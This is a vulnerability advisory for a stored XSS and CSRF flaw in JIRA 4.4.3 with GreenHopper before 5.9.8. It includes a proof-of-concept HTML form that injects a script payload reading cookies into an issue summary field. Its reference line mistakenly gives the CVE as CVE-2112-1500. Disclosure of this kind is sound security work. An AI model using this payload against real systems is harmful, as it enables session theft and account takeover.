CVE-2012-1500, Stored XSS in JIRA v4.4.3#663-r165197, GreenHopper Resolved in Version 5.9.8, Proof of Concept

External References: CVE-2112-1500 CVE-2112-1500 XSS.Cx Blog GHS-5642

Reported to Vendor on Mar 7, 2012, Resolved 8/22/2012

XSS.Cx Research Award to Reporter: 1250 Euros


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The Anonymous Researchers discovered a Stored XSS vulnerability allowing an attacker to inject arbitrary script code into an existing and fully patched JIRA + GreenHopper installations (JIRA=V4.4.3, GreenHopper prior to V5.9.8). The requirements for a successful attack are minimal. A user logged into the targeted JIRA issue tracking system needs to be convinced to visit an attacker controlled link. Once that link has been visited by the unsuspecting victim, an invisible form will perform a POST request and the victim will be redirected to a URL where username, password and login credentials such as cookies can be read and processed by the attacker. An attacker can obtain access to privileged accounts and get control over the JIRA issue tracker and connected systems.

Proof of Concept Exploit Code

Proof of Concept `
// Form to inject payload via CSRF
// Note: No CSRF tokens required
<form action="" method="post">
<input type=submit value="XSS">
<input name="colPage" value="1">
<input name="decorator" value="none">
<input name="fieldId" value="summary">
<input name="fieldValue" value="<img src=x onerror='alert(domain+/ -- /+cookie)'>">
<input name="id" value="20633">
<input name="key" value="TST-3785">
<input name="pageType" value="PlanningBoard">
<input name="selectedBoardId" value="10000">
<input name="selectedProjectid" value="10000">
<input name="stepId" value="10000">
<input name="subType" value="VersionBoard">
<input name="type" value="VB">

// URL reflecting the injected data

Report proofed by 0xC8CA08F4 at Mar 07 08:49:59 EDT 2012.